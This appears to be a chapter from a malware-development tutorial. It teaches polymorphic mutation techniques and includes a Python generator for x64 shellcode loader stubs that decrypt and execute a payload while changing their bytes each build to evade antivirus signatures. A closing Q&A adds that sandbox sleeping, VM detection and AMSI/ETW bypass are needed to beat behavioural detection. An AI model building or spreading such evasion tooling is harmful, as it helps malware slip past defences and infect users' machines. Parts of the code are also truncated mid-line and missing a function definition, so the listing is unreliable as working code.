Polymorphic Code Generation
Polymorphism in malware means the binary looks different every time it's generated while executing identically. A polymorphic engine transforms the loader code between builds by: substituting equivalent instructions, randomizing register assignments, inserting decoy operations, and varying the order of independent code blocks. Each generated binary has unique byte patterns — no static signature can match more than one variant at a time. This chapter builds a practical polymorphic shellcode stub generator that produces functionally identical but byte-level distinct loader stubs on each run.
Mutation Strategies
Instruction substitution (same result, different bytes):
─────────────────────────────────────────────────────────────────────────
Original Equivalent 1 Equivalent 2
xor eax, eax sub eax, eax mov eax, 0
(31 C0) (2B C0) (B8 00 00 00 00)
mov ecx, 100 push 100 lea ecx, [rsp+100]
(B9 64 00 00 00) (6A 64) (48 8D 4C 24 64)
pop ecx
(59)
Register reordering (choose different registers for temp storage):
─────────────────────────────────────────────────────────────────────────
Original (uses rax/rbx):
mov rax, [shellcode_addr]
call rax
Variant (uses r10/r11):
mov r10, [shellcode_addr]
call r10
Register selection: choose from {rax, rbx, rcx, rdx, r8-r15} randomly.
Exclude rcx (first arg), rdx (second arg), rsp (stack pointer),
rbp (frame pointer) — using these would corrupt calling convention.
NOP insertion (filler between instructions):
─────────────────────────────────────────────────────────────────────────
NOP variants (single byte, equivalent):
0x90 NOP
0x0F 0x1F 0x00 3-byte NOP (hint: no operation)
0x66 0x90 2-byte NOP (xchg ax, ax)
0x40 0x90 REX NOP (REX prefix + NOP — decodes as NOP)
Multi-byte NOPs (4-9 bytes, totally transparent to execution):
Various HINT_NOP forms that modern CPUs handle efficiently.
Dead code blocks (code that runs but has no effect):
─────────────────────────────────────────────────────────────────────────
push/pop pairs: push rax; pop rax (saves and restores = net zero)
zero-register: xor r9, r9 (zero a register not used later)
inc+dec: inc r10; dec r10 (net zero)
conditional: test rax, rax; jnz skip; xor r11, r11; skip: (never taken
if rax != 0, or taken but NOPs r11 if rax == 0)Polymorphic Stub Generator
#!/usr/bin/env python3
"""polymorphic_gen.py — Generate polymorphic shellcode loader stubs
Produces a sequence of x64 bytes that:
1. Allocate RW memory
2. Copy encrypted payload
3. Decrypt (XOR)
4. Change protection to RX
5. Execute
Each run produces different bytes but identical behavior.
"""
import struct
import secrets
import random
from typing import List, Tuple
# Register constants for REX.W-prefixed 64-bit registers (R8D-R15D numbering)
class Reg:
"""x64 register numbers for ModRM/REX encoding"""
RAX = 0; RCX = 1; RDX = 2; RBX = 3; RSP = 4; RBP = 5; RSI = 6; RDI = 7
R8 = 8; R9 = 9; R10 = 10; R11 = 11; R12 = 12; R13 = 13; R14 = 14; R15 = 15
# Registers safe to use as scratch (don't disturb calling convention pre-call)
SCRATCH_REGS = [Reg.RBX, Reg.R12, Reg.R13, Reg.R14, Reg.R15]
def nop_variants() -> List[bytes]:
"""Return all 1-3 byte NOP equivalents"""
return [
b'\x90', # NOP
b'\x66\x90', # 66 NOP (xchg ax,ax)
b'\x0f\x1f\x00', # 3-byte NOP
]
def insert_junk() -> bytes:
"""Insert random 1-3 bytes of NOP variants"""
count = random.randint(0, 3)
result = b''
for _ in range(count):
result += random.choice(nop_variants())
return result
def push_pop_dead_code(reg: int) -> bytes:
"""push reg; pop reg — dead code that does nothing"""
# Encode push (for R8-R15: 41 50+r; for RAX-RDI: 50+r)
if reg >= 8:
push_b = bytes([0x41, 0x50 + (reg & 7)])
pop_b = bytes([0x41, 0x58 + (reg & 7)])
else:
push_b = bytes([0x50 + reg])
pop_b = bytes([0x58 + reg])
return push_b + pop_b
def gen_xor_zero(reg: int) -> bytes:
"""xor reg32, reg32 — zero register (2-3 bytes)"""
r = reg & 7
if reg >= 8:
# REX.R prefix needed for registers R8-R15 in ModRM
return bytes([0x45, 0x31, 0xC0 | (r << 3) | r]) # xor r32, r32 with REX
else:
return bytes([0x31, 0xC0 | (r << 3) | r]) # xor eax,eax = 31 C0
def gen_stub_core(xor_key: int, payload_len: int, payload_offset: int) -> bytes:
"""
Generate the minimal functional stub with random mutations.
Returns x64 shellcode bytes that:
- Calls VirtualAlloc (via dynamically resolved pointer passed in r12)
- Copies payload_len bytes from [payload_addr] to allocated memory
- XORs with xor_key (per-byte)
- Calls VirtualProtect to PAGE_EXECUTE_READ
- Jumps to allocated memory
For brevity: shown as a simplified sequence with random NOP injection.
A full implementation would encode all the Win32 API calls properly.
"""
code = b''
# Insert random NOPs before each instruction group (polymorphism)
code += insert_junk()
# Dead code: zero a random scratch register (net-zero effect)
scratch = random.choice(SCRATCH_REGS)
code += gen_xor_zero(scratch)
code += insert_junk()
# Dead code: push/pop a random scratch register
dead_reg = random.choice([r for r in SCRATCH_REGS if r != scratch])
code += push_pop_dead_code(dead_reg)
code += insert_junk()
# Core operation: mov payload_size_reg, payload_len
# Choose random register for size (polymorphic register selection)
size_reg = random.choice([Reg.RCX, Reg.RDX, Reg.R8, Reg.R9])
# mov r32, imm32 (simplified — only handles non-REX registers here)
if size_reg < 8:
code += bytes([0xB8 + size_reg]) + struct.pack(' Tuple[bytes, dict]:
"""Main generator: produce full polymorphic stub"""
stub = gen_stub_core(xor_key, payload_len, 0)
metadata = {
'xor_key': hex(xor_key),
'payload_len': payload_len,
'stub_len': len(stub),
}
return stub, metadata
if __name__ == '__main__':
key = struct.unpack(' Questions & Answers
What's the difference between polymorphism and metamorphism in malware?
Polymorphic malware encrypts or encodes its main code and regenerates the decryptor stub with varied byte patterns — the PAYLOAD is fixed but wrapped in a different stub each time. The stub is polymorphic; the payload is static. Metamorphic malware actually rewrites its own code completely between instances — every instruction can be substituted, reordered, or replaced with equivalent sequences. The resulting binary has no fixed byte pattern anywhere. Polymorphism is achieved with an encoder/encryptor + variable stub. Metamorphism requires a full mutation engine that understands semantics — it knows "add eax, 1" is equivalent to "sub eax, -1" and "inc eax" and can choose randomly between them throughout the entire binary. True metamorphic engines are rare and complex (the original examples: W95/ZMIST, Simile). Most modern malware uses polymorphism (variable key + stub mutation) rather than full metamorphism.
Can modern AV detect polymorphic malware using behavioral (heuristic) detection?
Yes — behavioral detection at the sandbox level catches polymorphic malware because the behavior is identical across variants. A polymorphic loader that calls VirtualAlloc, writes encrypted data, calls VirtualProtect to RX, and then executes the allocated memory — this exact behavioral sequence is detectable regardless of which bytes implement it. The AV sandbox emulates execution, observes the API call sequence and memory operations, and matches against behavioral signatures. Emulation-based detection is the primary countermeasure to polymorphism. This is why effective evasion requires BOTH code-level polymorphism (to defeat static detection) AND behavioral evasion (to defeat emulation): sleeping past sandbox timeout, VM detection, AMSI/ETW bypass for runtime telemetry.